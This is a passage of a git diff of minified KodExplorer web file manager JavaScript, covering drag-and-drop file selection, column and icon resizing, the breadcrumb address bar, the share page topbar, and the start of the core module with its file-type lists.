0!=t&&0!==t.search(G.KOD_GROUP_PATH)&&0!==t.search(G.KOD_USER_RECYCLE)&&core.isSystemPath(t)&&(e="clear");var i=htmlEncode(core.pathThis(t)),n=" "+s.attr("data-beforeInfo").replace(/<[^<>]+>/g,""),a={copy_to:'<i class="font-icon bg-ok icon-copy"></i><b>'+LNG.copy_to+'</b>"'+i+'"',move_to:'<i class="font-icon bg-ok icon-share-alt"></i><b>'+LNG.cute_to+'</b>"'+i+'"',remove:'<i class="font-icon bg-error icon-trash"></i><b>'+LNG.remove+n+"</b>",share:'<i class="font-icon bg-ok icon-share-sign"></i><b>'+LNG.share+n+"</b>",none:'<i class="font-icon bg-error icon-minus"></i><b>'+LNG.no_permission_write+"</b>",clear:s.attr("data-beforeInfo")};t==G.this_path&&(a.copy_to='<i class="font-icon bg-ok icon-copy"></i><b>'+LNG.clone+"</b>"),s.find("span").html(a[e]),s.attr("data-actionType",e),s.attr("data-actionPath",t)};if(0!=$(".selectDragTemp").length||0!=$(".curDropTreeNode").length||0!=$(".curDropToPath").length){var n=ui.fileLight.path($(".selectDragTemp"));if(0!=$(".curDropTreeNode").length){var a=ui.tree.zTree(),o=a.getNodeByTId($(".curDropTreeNode").parent().attr("id"));n=o.path}0!=$(".curDropToPath").length&&(n=$(".curDropToPath").attr("data-path")),$(".selectDragTemp").hasClass("menuRecycleButton")?i("remove"):t?i("copy_to",n):i("move_to",n)}else if(0!=$(".recycle_hover").length)i("remove");else if(0!=$(".share_hover").length&&1>=ui.fileLight.fileListSelect().length)i("share");else if(t){var n=G.this_path;"list_split"==G.user_config.list_type&&0!=$(".split_hover").length&&(n=ui.fileLight.path($(".split_hover"))),i("copy_to",n)}else"list_split"!=G.user_config.list_type||0==$(".split_hover").length||$(".split_hover").hasClass("split_select")?i("clear"):i("move_to",ui.fileLight.path($(".split_hover")))},k=function(){if(!t)return!1;if(t=!1,c=!1,$("body").removeClass(m),s){s.addClass("animated-300").addClass("flipOutXLine").fadeOut(200,function(){s.remove(),s=!1});var e=function(e,t){switch(e){case"copy_to":ui.path.copyDrag(t,!0);break;case"move_to":ui.path.cuteDrag(t);break;case"remove":ui.path.remove(!0);break;case"share":ui.path.share();break;default:}},i=s.attr("data-actionType");-1!=$.inArray(i,["copy_to","move_to","remove","share"])?E(!1):E(!0),e(i,s.attr("data-actionPath"))}},w=function(){$("body").addClass(m);var e=ui.fileLight.fileListSelect().length;$('<div class="file draggable-dragging"><div class="drag_number">'+e+'</div><span><i class="font-icon bg-default icon-ok"></i>'+e+" "+LNG.file+"</span></div>").appendTo("body"),c=!0,setTimeout(S,20)},L=0,N=5,C=35,T=20,z=60,S=function(){clearTimeout($(".file-draging-box").data("removeDelay")),$(".file-draging .file").stop(),$(".file-draging-box").remove();var e={icon:"fileList_icon",list:"fileList_list",list_split:"fileList_list_split"},t=e[G.user_config.list_type];$("<div class='fileContiner file-draging-box'><div class='"+t+" file-draging'></div></div>").appendTo("body"),v=$(Config.SelectClass).filter("[data-path!='']");var i=v.clone();(v.length>=z||$.browser.msie)&&(i=r.clone()),i.appendTo(".file-draging"),i.each(function(e){var t=$(".bodymain .fileContiner .file[data-path='"+$(this).attr("data-path")+"']"),n=t.offset();$(this).css({left:n.left,top:n.top,width:t.width()}),$(this).data({"data-left":n.left,"data-top":n.top,"data-animateTime":200+e*N,"data-sizeAdd":L*e}),$(this).attr("data-path")==r.attr("data-path")&&$(this).addClass("handle_target"),1==i.length&&($(this).data({"data-animateTime":0}),T=0)}),v.addClass("item-file-draging");var n=setTimeout(function(){$(".file-draging-box").data("animate","finished");var e=$(".draggable-dragging");i.each(function(){var t=$(this),i=$(this).data("data-sizeAdd"),n=$(this).data("data-animateTime");$(this).data("status","ready"),$(this).animate({opacity:1},{duration:n,easing:"swing",progress:function(n,a){var o=t.offset(),s=e.offset(),r=(s.left+i-o.left)*a,l=(s.top+i+C-o.top)*a;t.css({left:o.left+r,top:o.top+l})},complete:function(){t.data("status","finished")}})})},T);$(".file-draging-box").data("dragDelay",n),$(".file-draging-box").data("animate","ready")},j=function(e,t){return"finished"!=$(".file-draging-box").data("animate")?($(".file-draging .file").each(function(){$(this).css({left:$(this).data("data-left")+e,top:$(this).data("data-top")+t})}),void 0):($(".file-draging .file").each(function(){if("finished"==$(this).data("status")){var e=$(this).data("data-sizeAdd"),t=$(".draggable-dragging").offset();$(this).css({left:t.left+e,top:t.top+e+C})}}),void 0)},E=function(e){var t=$(".file-draging .file").length;clearTimeout($(".file-draging-box").data("dragDelay")),$(".file-draging .file").each(function(t){var i=t*N,n=$(".bodymain .fileContiner .file[data-path='"+$(this).attr("data-path")+"']");e?$(this).stop().animate({left:$(this).data("data-left"),top:$(this).data("data-top")},250+i,function(){v.removeClass("item-file-draging")}).animate({opacity:0},150,function(){$(this).remove()}):(n.stop().animate({opacity:1},100),$(this).stop().animate({opacity:0},200+i,function(){$(this).remove()}))});var i=setTimeout(function(){$(".file-draging-box").remove()},400+N*t);$(".file-draging-box").data("removeDelay",i)}},u=function(){var i=null,n=null,a=null,o=0,s=0,r=0,l=0,c="",d="bodymain";"desktop"==Config.pageApp&&(d="fileContiner");var p=$("."+d);p.die("mousedown").live("mousedown",function(e){if(!($(e.target).hasClass(d)&&20>$(document).width()-e.pageX)){if(r=$(".fileContiner").outerHeight(),l=p.outerHeight(),ui.isEdit())return!0;if(1!=e.which||t)return!0;u(e),this.setCapture&&this.setCapture(),$(document).unbind("mousemove").mousemove(function(e){f(e)}),$(document).one("mouseup",function(e){clearTimeout(c),c=!1,m(e),this.releaseCapture&&this.releaseCapture()})}});var u=function(t){s=p.offset().left-p.scrollLeft(),o=p.offset().top-p.scrollTop(),"list_split"==G.user_config.list_type&&(o+=$(t.target).parents(".split_box").scrollTop()),$(t.target).parent().hasClass(Config.FileBoxClassName)||$(t.target).parent().parent().hasClass(Config.FileBoxClassName)||$(t.target).hasClass("fix")||(rightMenu.hidden(),t.ctrlKey||t.metaKey||t.shiftKey||ui.fileLight.clear(),$(t.target).hasClass("ico")||(i=t.pageX-s,n=t.pageY-o,c=setTimeout(function(){e=!0,0==$("#selContainer").length&&$('<div id="selContainer"></div>').appendTo(Config.FileBoxSelector),a=$("#selContainer")},100)))},f=function(t){if(!e)return!0;var o=t.pageX-p.offset().left+p.scrollLeft(),s=t.pageY-p.offset().top+p.scrollTop(),c=Math.abs(o-i),d=Math.abs(s-n);s>n&&d>r-n&&r>l&&(d=r-n),a.css({left:Math.min(o,i)+2,top:Math.min(s,n)+2,width:c,height:d}),1e3>ui.fileLight.fileListAll().length&&h()},h=function(){for(var e=a.offset().left-p.offset().left+p.scrollLeft(),t=a.offset().top-p.offset().top+p.scrollTop(),i=e+a.width(),n=t+a.height(),o=ui.fileLight.fileListAll(),s=0;o.length>s;s++){var r=o[s],l=$(o[s]),c=l.parent().scrollTop(),d=r.offsetLeft,u=r.offsetTop-c,f=d+l.width(),h=u+l.height();if("list_split"==G.user_config.list_type&&(d+=l.parents(".split_box")[0].offsetLeft,f=d+l.width()),i-e+f-d>Math.abs(e+i-(d+f))&&n-t+h-u>Math.abs(t+n-(u+h))){if(!l.hasClass("selectDragTemp")){if(l.hasClass("selectToggleClass"))continue;if(l.hasClass(Config.SelectClassName)){l.removeClass(Config.SelectClassName).addClass("selectToggleClass"),ui.fileLight.resumeMenu(l);continue}l.addClass("selectDragTemp")}}else l.removeClass("selectDragTemp"),l.hasClass("selectToggleClass")&&l.addClass(Config.SelectClassName).removeClass("selectToggleClass")}},m=function(){return e?(h(),a.remove(),$(".selectDragTemp").addClass(Config.SelectClassName).removeClass("selectDragTemp"),$(".selectToggleClass").removeClass("selectToggleClass"),ui.fileLight.select(),e=!1,i=null,n=null,void 0):!1}},f=function(e,t){var i=$(".fileList_list_split .split_box.split_select");if(e)i=e.parents(".split_box");else if(0!=ui.fileLight.fileListSelect().length){var n=ui.fileLight.fileListSelect().last();i=n.parents(".split_box")}return i.find(t)},h={fileListAll:function(e){return"list_split"!=G.user_config.list_type?ui.fileLight.fileListAll():f(e,".file")},fileListSelect:function(e){return"list_split"!=G.user_config.list_type?ui.fileLight.fileListSelect():f(e,".file.select")}},m=function(e){var t=h.fileListAll(),i=h.fileListSelect(),n=t.length-1,a=0,o=ui.getColfileNumberDesktop(),s=t.index(i.first()),r=t.index(i.last());switch(e){case"pageup":case"up":a=0>=s||0==s%o?s:s-1;break;case"left":a=0>=s-o?0:s-o;break;case"pagedown":case"down":a=r>=n||0==(r+1)%o?r:r+1;break;case"right":a=r+o>=n?n:r+o;break;default:}return t.eq(a)},_=function(e){if("desktop"==Config.pageApp)return m(e);var t=h.fileListAll(),i=h.fileListSelect(),n=t.length-1,a=0,o=ui.getRowfileNumber(),s=ui.getPagefileNumber(),r=t.index(i.first()),l=t.index(i.last());switch(e){case"up":a=0>=r-o?0:r-o,a=v(a,!1);break;case"left":a=0>=r?0:r-1;break;case"down":a=l+o>=n?n:l+o,a=v(a,!0);break;case"right":a=l>=n?l:l+1;break;case"pageup":a=0>=r-s?0:r-s,a=v(a,!1);break;case"pagedown":a=l+s>=n?n:l+s,a=v(a,!0);break;default:}return t.eq(a)},v=function(e,t){for(var i=h.fileListAll(),n=i.eq(e),a=i.length;0!=n.parents(".hidden").length;){if(t?e++:e--,0>=e||e>=a)return e;n=i.eq(e)}return e},g=function(e){var t,i=h.fileListAll(),n=h.fileListSelect(),a="",o=!1;switch(e.indexOf("shift+")>=0&&(o=!0,e=e.replace("shift+","")),e){case"home":a=n.last(),t=i.first();break;case"end":a=n.first(),t=i.last();break;case"left":a=n.last(),t=_(e);break;case"up":a=n.last(),t=_(e);break;case"right":a=n.first(),t=_(e);break;case"down":a=n.first(),t=_(e);break;case"pageup":a=n.last(),t=_(e);break;case"pagedown":a=n.first(),t=_(e);break;case"all":t=i;break;default:}if(!y(e)){if(o&&""!=a){var s=i.index(a),r=i.index(t);if(s>r){var l=s;s=r,r=l}return x(s,r,i),void 0}b(t)}},b=function(e){0!=e.length&&(ui.fileLight.clear(),e.addClass(Config.SelectClassName),ui.fileLight.select(),ui.fileLight.setInView(),"list_split"==G.user_config.list_type&&1==e.length&&r($(ui.fileLight.fileListSelect()[0])))},y=function(e){var t=$(ui.fileLight.fileListSelect()[0]);if("icon"==G.user_config.list_type)return!1;switch(e){case"left":if("list"==G.user_config.list_type)if(1==t.find(".children_more_cert.cert_open").length)t.find(".children_more_cert").removeClass("cert_open"),t.next().addClass("hidden");else{var i=t.parent(".children_list").prev(".file");b(i)}else if("list_split"==G.user_config.list_type){var i=t.parents(".split_box").prev().find(".select_split_parent");b(i)}break;case"right":if("list"==G.user_config.list_type)1==t.find(".children_more_cert").length&&(ui.fileContent.pathChildrenTree(t),t.find(".children_more_cert").addClass("cert_open"),t.next().removeClass("hidden"));else if("list_split"==G.user_config.list_type){var i=t.parents(".split_box").next().find(".file:eq(0)");b(i)}break;default:return!1}return!0},x=function(e,t,i){if("desktop"==Config.pageApp)return k(e,t,i);ui.fileLight.clear();for(var n=e;t>=n;n++)$(i[n]).addClass(Config.SelectClassName);ui.fileLight.select()},k=function(e,t,i){var n=ui.getColfileNumberDesktop(),a=Math.ceil(h.fileListAll().length/n),e={row:e%n,col:parseInt(e/n)},t={row:t%n,col:parseInt(t/n)};if(t.row<e.row){var o=t;t=e,e=o}var s=function(e,t){var a=t*n+e;$(i[a]).addClass(Config.SelectClassName)};ui.fileLight.clear();for(var r=e.row;t.row>=r;r++){var l=0,c=a;r==e.row&&(l=e.col),r==t.row&&(c=t.col);for(var d=l;c>=d;d++)s(r,d)}ui.fileLight.select()};return{init:function(){n(),l(),p(),u()},isDraging:function(){return t},selectSplit:c,selectPos:g}}),define("app/src/explorer/fileListResize",[],function(){var e={filename:250,filetype:80,filesize:80,filetime:150,explorer_left_tree_width:199,editor_left_tree_width:199},t={filename:150,filetype:60,filesize:60,filetime:120,explorer_left_tree_width:2,editor_left_tree_width:2},i=e,n=function(){if(LocalData.get("resize_config"))i=jsonDecode(LocalData.get("resize_config"));else{G.user_config.resize_config!==void 0&&(i=jsonDecode(htmlDecode(G.user_config.resize_config)));var n=jsonEncode(i);LocalData.set("resize_config",n)}$.each(e,function(n){(!i[n]||i[n]<t[n])&&(i[n]=e[n])})},a=function(){if(!r()){var e=jsonEncode(i);LocalData.set("resize_config",e),$.get("index.php?setting/set&k=resize_config&v="+e)}},o=function(e){if("icon"!=G.user_config.list_type){e||(e=i);var n="",a=0;$.each(e,function(e,i){0==e.indexOf("file")&&(t[e]>=i&&(i=t[e]),a+=i,n+=".fileList_list .file ."+e+",#main_title ."+e+"{width:"+i+"px;}")}),n+=".fileList_list .file{width:"+(a+50)+"px;}",$.setStyle(n,"header_resize_width")}},s=function(n,o,s){if(!$(".frame-left").is(":hidden")){var r=Config.pageApp+"_left_tree_width",l=$.extend(!0,{},i);l[r]+=n,l[r]<=t[r]&&(l[r]=t[r]);var c=l[r],d=$(".frame-left"),p=$(".frame-resize"),u=$(".frame-right"),f=e[r];if(c>f-8&&f+8>c&&(c=f+1),s){var h=400;d.animate({width:c},h),p.animate({left:c-5},h),u.animate({left:c},h)}else d.css("width",c),p.css("left",c-5),u.css("left",c);ui.setStyle!==void 0&&ui.setStyle(),o&&(i=l,a())}},r=function(){return void 0!=$.getUrlParam("type")?!0:!1},l=function(e,n,s){var r=$.extend(!0,{},i);r[e]+=n,o(r),s&&(i=r,$.each(i,function(e,n){t[e]>=n&&(i[e]=t[e])}),a())},c=function(){$("#main_title").hasClass("bind_init")||(o(i),$("#main_title").addClass("bind_init"),$.each(e,function(e){$("#main_title ."+e+"_resize").drag({start:function(){},move:function(t){l(e,t,!1)},end:function(t){l(e,t,!0)}})}))},d=function(){var e=$(".frame-resize");e.drag({start:function(){e.addClass("active"),$(".resizeMask").css("display","block")},move:function(e){s(e,!1,!1)},end:function(t){s(t,!0,!1),e.removeClass("active"),$(".resizeMask").css("display","none")}})},p=function(){var e=G.user_config.file_icon_size;e||(e="75"),h(e,!1),u(e)},u=function(e){$(".set-file-icon-size .file-icon-size").removeClass("selected");for(var t=[["40","box-size-smallx"],["60","box-size-small"],["80","box-size-default"],["150","box-size-big"],["220","box-size-bigx"]],i=10,n="",a=0;t.length>a;a++){var o=parseInt(t[a][0]);if(e>=o-i&&o+i>=e){n=t[a][1];break}}""!=n&&$("."+n).addClass("selected")},f=function(e){G.user_config.file_icon_size=e,u(e),$.get("index.php?setting/set&k=file_icon_size&v="+e)},h=function(e,t){var i=e,n=105,a=30,o=250;"desktop"==Config.pageApp&&(a=50,o=120),i=a>=i?a:i,i=i>=o?o:i;var s=(e-a)*n/(o-a),r=20,l=10,c=parseInt(i),d=c+2*r-l+5,p=c-l,u=c-l,h=.4*c,m=c+3*r-l,_=".fileList_icon div.file{height:"+d+"px;width:"+c+"px;}";"desktop"==Config.pageApp&&(d-=5,_="div.fileList_icon div.file{height:"+d+"px;width:"+c+"px;}"),$.browser.mozilla&&(u-=4);var v="div.fileList_icon div.file{max-height:"+m+"px;}"+_+" .fileList_icon .meta_info{height:"+h+"px;width:"+h+"px; margin-right:"+.16*h+"px;margin-top:-"+1.1*h+"px;} .fileList_icon div.file .filename{width:"+c+"px;} .fileList_icon div.file .filename #pathRenameTextarea, .fileList_icon div.file .filename .newfile{width:"+c+"px;} .fileList_icon div.file .ico{padding-left:"+l/2+"px;height:"+u+"px;width:"+p+"px} .fileList_icon div.file .ico.picasaImage{width:"+p+"px;padding-left:"+l/2+"px;overflow:hidden;}";$.setStyle(v,"file_icon_resize"),$(".slider_handle").css("top",s),t&&f(e)},m=function(){var e,t=$(".slider_handle");$(".set_icon_size_slider").bind("click",function(e){return stopPP(e),!1});var i=function(t){var i=0,n=105,a=30,o=250,s=e+t;s=i>s?i:s,s=s>n?n:s;var r=parseInt(s/n*(o-a)+a);return h(r,!1),r};t.drag({start:function(){t.addClass("active"),e=parseInt(t.css("top"))},move:function(e,t){i(t)},end:function(e,n){t.removeClass("active"),f(i(n),!0)}});var n=$(".slider_bg");$(".slider_bg").unbind("click").bind("click",function(t){var a=t.clientY-n.offset().top;e=0,i(a)})},_=function(){var e=function(e,t){var i=e.parent(),n=$(".split_box").index(i),a=parseInt(i.data("before_width"))+t;if(!(150>a)){$($(".split_line").get(n)).css("width",a),i.css("width",a),$(".split_box:gt("+n+")").each(function(){$(this).hasClass("is_drag_split")||$(this).css("left",parseInt($(this).data("before_left"))+t+"px")});var o=[];$(".split_box").each(function(){o.push({left:$(this).css("left"),width:$(this).width()})}),LocalData.set("split_box_size",jsonEncode(o))}};$(".bodymain .fileList_list_split .split_drag").drag({start:function(e,t){var i=t.parent();i.addClass("is_drag_split").data("before_width",i.width()),$(".split_box,.split_line").each(function(){$(this).data("before_left",$(this).css("left"))})},move:function(t,i,n,a){e(a,t)},end:function(e,t,i,n){n.parent().removeClass("is_drag_split")}},!0),$(".file.select_split_parent").removeClass("select_split_parent"),$(".split_box").each(function(){$('.file[data-path="'+$(this).attr("data-path")+'"]').addClass("select_split_parent")}),v()},v=function(){var e=jsonDecode(LocalData.get("split_box_size")),t=0;e||(e=[]);var i=function(i,n){var a=e[n];a||(a={width:250,left:t}),t+=a.width+1,i.css({width:a.width+"px",left:a.left})};t=0,$(".split_box").each(function(e){i($(this),e)}),t=0,$(".split_line").each(function(e){i($(this),e)}),$(".bodymain").scrollLeft(1e5)};return{init:function(){n(),r()&&(i=e),o(i),d(),s(0,!1,!0),m()},initFileSize:p,bindSplitResize:_,bindHeaderResize:c,setFileIconSize:h}}),define("app/src/explorer/headerAddress",[],function(){var e=function(){$("#yarnball li a").die("click").live("click",function(e){var t=$(this).attr("data-path");a(t),stopPP(e)}),$("#yarnball").die("click").live("click",function(){return $("#yarnball").css("display","none"),$("#yarnball_input").css("display","block"),$("#yarnball_input input").focus(),!0});var e=$("#yarnball_input input");e.die("blur").live("blur",function(){a(e.val())}).keyEnter(function(){a(e.val())}),$(".header-right input").keyEnter(function(){core.search($(".header-right input").val(),G.this_path)}),$(".header-right input").bind("keyup focus",function(){ui.path.setSearchByStr($(this).val())}),$(".header-content a,.header-content button").click(function(){var e=$(this).attr("id");switch(e){case"history_back":ui.path.history.back();break;case"history_next":ui.path.history.next();break;case"refresh":ui.f5(!0,!0),ui.tree.init();break;case"home":ui.path.list(G.myhome);break;case"fav":ui.path.pathOperate.fav({path:G.this_path,type:"folder",name:$("ul.yarnball li:last .title_name").html()});break;case"goto_father":o();break;case"setting":core.setting();break;case"search":core.search($(".header-right input").val(),G.this_path);break;default:}return!0})},t=function(e){var t=G.this_path;n(G.this_path),$("#yarnball_input").css("display","none"),$("#yarnball").css("display","block");var a=function(e){var t='<li class="yarnlet first"><a title="@1@" data-path="@1@" style="z-index:{$2};"><span class="left-yarn"></span>{$3}</a></li>\n',i='<li class="yarnlet "><a title="@1@" data-path="@1@" style="z-index:{$2};">{$3}</a></li>\n';e=e.replace(/\/+/g,"/");var n=e.split("/");""==n[n.length-1]&&n.pop();var a=n[0]+"/",o=t.replace(/@1@/g,a),s=n[0],r="";if(G.json_data.info&&G.json_data.info.path_type&&""!=n[0]){var l=core.getPathIcon(G.json_data.info,G.json_data.info.name);r='<span class="address_ico">'+core.iconSmall(l.icon)+"</span>",s=l.name}o=o.replace("{$2}",n.length),o=o.replace("{$3}",r+'<span class="title_name">'+htmlEncode(s)+"</span>");for(var c=o,d=1,p=n.length-1;n.length>d;d++,p--)a+=htmlEncode(n[d])+"/",o=i.replace(/@1@/g,a),o=o.replace("{$2}",p),o=o.replace("{$3}",'<span class="title_name">'+htmlEncode(n[d])+"</span>"),c+=o;return'<ul class="yarnball">'+c+"</ul>"};void 0==e&&$("#yarnball").html(a(t)),i()},i=function(){$(".yarnball").stop(!0,!0);var e=$("#yarnball").innerWidth(),t=0;$("#yarnball li a").each(function(){t+=$(this).outerWidth()+parseInt($(this).css("margin-left"))+5});var i=e-t;0>=i?$(".yarnball").css("width",t+"px").css("left",i+"px"):$(".yarnball").css({left:"0px",width:e+"px"})},n=function(e){var t=$("#yarnball_input .path");if(void 0==e){var i=t.val();return i=rtrim(core.pathClear(i))+"/"}t.val(e)},a=function(e,i){ui.path.list(e),t(i)},o=function(){var e=n();if("/"==e||-1==e.indexOf("/"))return Tips.tips(LNG.path_is_root_tips,"warning"),void 0;var i=core.pathFather(e);ui.path.list(i),t()};return{init:e,addressSet:t,resetWidth:i,gotoFather:o}}),define("app/share_common/topbar",[],function(){var e="index.php?share/fileDownload&user="+G.user+"&sid="+G.sid,t="index.php?share/fileProxy&user="+G.user+"&sid="+G.sid;"1"==G.param_rewrite&&(e=e.replace("index.php?","index.php/"));var i=function(){"file"!=G.share_info.type&&G.path!==void 0?(t+="&path="+G.path,e+="&path="+G.path,$(".btn.button_my_share").hide(),$(".share_info_user .btn-group").show()):($(".btn.button_my_share").show(),$(".share_info_user .btn-group").hide()),"file"==G.share_info.type&&($(".btn.button_my_share").hide(),$(".share_info_user .btn-group").show()),"1"==G.share_info.not_download&&(e="javascript:Tips.tips('"+LNG.share_not_download_tips+"',false);"),$(".share_info_user").removeClass("hidden"),$(".btn_download").attr("href",e);var i=date("Y/m/d H:i:s",G.share_info.mtime);$(".topbar .time").html(i),"file"==G.share_info.type&&$(".topbar .size").html(G.share_info.size),$(".topbar .info").html(LNG.share_view_num+G.share_info.num_view+" "+LNG.share_download_num+G.share_info.num_download),$("#button_share").die("click").live("click",function(){share()})};return{init:i}}); \ No newline at end of file diff --git a/static/js/app/src/share_index/main.js b/static/js/app/src/share_index/main.js index 2e3a69b..6bbf49c 100755 --- a/static/js/app/src/share_index/main.js +++ b/static/js/app/src/share_index/main.js @@ -1,4 +1,4 @@ -/*! power by kodexplorer ver3.42(2017-04-08) [build 1491589321217] */ -define("app/src/share_index/main",["lib/jquery-lib","lib/util","lib/artDialog/jquery-artDialog","../../common/core","../../share_common/topbar","./fileShow","../../common/myPlayer"],function(e){e("lib/jquery-lib"),e("lib/util"),e("lib/artDialog/jquery-artDialog"),core=e("../../common/core"),topbar=e("../../share_common/topbar"),fileShow=e("./fileShow"),window.require=e,$(document).ready(function(){if(core.init(),$(".init_loading").fadeOut(450).addClass("pop_fadeout"),"undefined"!=typeof G){fileShow.init();var e=function(){var e=window.location.href+"&password="+$(".form-control").val();$.get(e,function(e){1==e.code?window.location.reload():Tips.tips(e)})};$(".share_login").click(e),$(".form-control").keyEnter(e)}})}),define("app/common/core",[],function(require,exports){tpl_search_box=require("./tpl/search.html"),tpl_search_list=require("./tpl/search_list.html"),tpl_upload=require("./tpl/upload.html"),tpl_file_info=require("./tpl/fileinfo/file_info.html"),tpl_path_info=require("./tpl/fileinfo/path_info.html"),tpl_zipview=require("./tpl/zipview.html");var search=require("./core.search"),tools=require("./core.tools"),upload=require("./core.upload"),api=require("./core.api"),playSound=require("./core.playSound"),zipView=require("./core.zipView");pathHashEncode=function(e){return hashEncode(e)},pathHashDecode=function(e){return hashDecode(e)};var initFirst=function(){if(window.require=require,template.config("escape",!1),template.config("compress",!0),template.helper("core",core),template.helper("window",window),"undefined"!=typeof G&&(1!=G.is_root&&$(".menu_system_setting").remove(),G.is_root||1==AUTH["system_member:get"]||1==AUTH["system_group:get"]||$(".menu_system_group").remove(),G.user_config&&"0"==G.user_config.animate_open&&($.dialog.defaults.animate=!1),resetHost()),$("html").bind("click",function(e){if(0==$(e.target).parents(".context-menu-list").length)try{rightMenu.hidden()}catch(e){}}),$.dialog.defaults.animate&&loadRipple(["a","button",".context-menu-item","#picker",".menuShareButton",".menuRecycleButton",".section .list"],[".disabled",".disable",".ztree",".disable-ripple"]),$("a,img").attr("draggable","false"),$.ajaxSetup({headers:{"X-CSRF-TOKEN":Cookie.get("X-CSRF-TOKEN")}}),$(".common_footer [forceWap]").click(function(){var e=$(this).attr("forceWap");Cookie.set("forceWap",e),window.location.reload()}),core.setSkinDiy(),core.tools.init(),playserSupport(),"array"==$.type(window.kodReady))for(var e=0;window.kodReady.length>e;e++)window.kodReady[e]();titleTips()},resetHost=function(){var e=window.location.port?":"+window.location.port:"";G.web_host=window.location.protocol+"//"+window.location.hostname+e+"/",G.app_host=rtrim(G.web_host,"/")+window.location.pathname.replace("index.php","")},playserSupport=function(){var e={ie:{music:["mp3","m4a","aac"],movie:["mp4","m4v","flv","mov","f4v"]},chrome:{music:["mp3","wav","m4a","aac","oga","ogg","webma"],movie:["mp4","m4v","flv","mov","f4v","ogv","webm","webmv"]}},t=!!window.ActiveXObject||"ActiveXObject"in window,i="chrome";t&&(i="ie"),core.filetypes.music=e[i].music,core.filetypes.movie=e[i].movie},titleTips=function(){isWap()||require.async(["lib/poshytip/jquery.poshytip.js","lib/poshytip/skin.css"],function(){var e=$("[title]");e.poshytip({className:"ptips-skin",liveEvents:!0,slide:!1,alignTo:"cursor",alignX:"right",alignY:"bottom",showAniDuration:150,hideAniDuration:200,offsetY:10,offsetX:20,showTimeout:function(){var e=1500;return $(this).attr("title-timeout")&&(e=parseInt($(this).attr("title-timeout"))),e},content:function(){var e=$(this).data("title.poshytip");if($(this).attr("title-data")){var t=$($(this).attr("title-data"));e=t.is("input")||t.is("textarea")?t.val():t.html()}return e=e?e:"",e.replace(/\n/g,"<br/>")}}),$("body").bind("mousedown click",function(){$(e).poshytip("hide"),$(".ptips-skin").remove()}),$("input,textarea").live("focus",function(){$(e).poshytip("hide"),$(".ptips-skin").remove()})})};return{search:search,init:initFirst,serverDwonload:upload.serverDwonload,upload:upload.upload,uploadInit:upload.init,playSound:playSound.playSound,playSoundFile:playSound.playSoundFile,zipView:function(e){new zipView(e)},tools:tools,api:api,filetypes:{image:["jpg","jpeg","png","bmp","gif","ico","svg","cur","webp"],music:["mp3","wav","m4a","aac","oga","ogg","webma"],movie:["mp4","m4v","flv","mov","f4v","ogv","webm","webmv"],doc:["doc","docx","docm","xls","xlsx","xlsb","xlsm","ppt","pptx","pptm"],archive:["zip","tar","gz","tgz","ipa","apk","rar","7z","iso","bz2","zx","z","arj"],archive_list:["zip","tar","gz","tgz","ipa","apk","rar","7z","iso","zx","z","arj"],text:["txt","textile","oexe","inc","csv","log","asc","tsv","lnk","url","webloc","meta","localized","xib","xsd","storyboard","plist","csproj","pch","pbxproj","local","xcscheme","manifest","vbproj","strings","jshintrc","sublime-project","readme","changes","changelog","version","license","changelog","abap","abc","as","asp","aspx","ada","adb","htaccess","htgroups","htgroups","htpasswd","asciidoc","adoc","asm","a","ahk","bat","cmd","cpp","c","cc","cxx","h","hh","hpp","ino","c9search_results","cirru","cr","clj","cljs","cbl","cob","coffee","cf","cson","cakefile","cfm","cs","css","curly","d","di","dart","diff","patch","dockerfile","dot","dummy","dummy","e","ge","ejs","ex","exs","elm","erl","hrl","frt","fs","ldr","ftl","gcode","feature",".gitignore","glsl","frag","vert","gbs","go","groovy","haml","hbs","handlebars","tpl","mustache","hs","hx","html","hta","htm","xhtml","eex","html.eex","erb","rhtml","html.erb","ini","inf","conf","cfg","prefs","io","jack","jade","java","ji","jl","jq","js","jsm","json","jsp","jsx","latex","ltx","bib","lean","hlean","less","liquid","lisp","ls","logic","lql","lsl","lua","lp","lucene","Makefile","makemakefile","gnumakefile","makefile","ocamlmakefile","make","md","markdown","mask","matlab","mz","mel","mc","mush","mysql","nix","nsi","nsh","m","mm","ml","mli","pas","p","pl","pm","pgsql","php","phtml","shtml","php3","php4","php5","phps","phpt","aw","ctp","module","ps1","praat","praatscript","psc","proc","plg","prolog","properties","proto","py","r","cshtml","rd","rhtml","rst","rb","ru","gemspec","rake","guardfile","rakefile","gemfile","rs","sass","scad","scala","scm","sm","rkt","oak","scheme","scss","sh","bash","bashrc","sjs","smarty","tpl","snippets","soy","space","sql","sqlserver","styl","stylus","svg","swift","tcl","tex","toml","twig","swig","ts","typescript","str","vala","vbs","vb","vm","v","vh","sv","svh","vhd","vhdl","wlk","wpgm","wtest","xml","rdf","rss","wsdl","xslt","atom","mathml","mml","xul","xbl","xaml","xq","yaml","yml","vcproj","vcxproj","filters","cer","reg","config","pem","srt","ass"],bindary:["bin","hex","zip","pdf","swf","gzip","rar","arj","tar","gz","cab","tbz","tbz2","lzh","uue","bz2","ace","exe","so","dll","chm","rtf","odp","odt","pages","class","psd","ttf","fla","7z","dmg","iso","dat","ipa","lib","a","apk","so","o"]},fileOpenMode:{ini:["inc","inf","strings"],xml:["xib","xsd","storyboard","plist","csproj","pch","pbxproj","xcscheme","config","vcproj","vcxproj","filters","webloc"],json:["oexe","jshintrc","sublime-project"],markdown:["readme","changes","version","license","changelog"]},getPathIcon:function(e,t){if(t=void 0==t?"":t,"string"==$.type(e)){var i=trim(trim(e),"/");if(e={},"{"!=i.substring(0,1)||i.split("/").length>1)return{icon:"",name:""};e.path_type=i.match(/\{.*\}/),e.id=i.split(":")[1]}var a={};a[G.KOD_USER_SHARE]={icon:"userSelf",name:LNG.my_share},a[G.KOD_GROUP_PATH]={icon:"groupSelfOwner"},a[G.KOD_GROUP_SHARE]={icon:"groupGuest"},a[G.KOD_USER_RECYCLE]={icon:"recycle",name:LNG.recycle},a[G.KOD_USER_FAV]={icon:"treeFav",name:LNG.fav},a[G.KOD_GROUP_ROOT_SELF]={icon:"groupSelfRoot",name:LNG.my_kod_group},a[G.KOD_GROUP_ROOT_ALL]={icon:"groupRoot",name:LNG.kod_group};var n=a[e.path_type];return e.path_type==G.KOD_USER_SHARE&&G.user_id!=e.id?n={icon:"user",name:t}:e.path_type==G.KOD_GROUP_PATH&&"owner"==e.role&&(n={icon:"groupSelfOwner"}),void 0==n&&(n={icon:"",name:""}),void 0==n.name&&(n.name=t),n},isSystemPath:function(e){var e=trim(trim(e),"/");if(void 0==e||"{"!=e.substring(0,1)||e.split("/").length>1)return!1;var 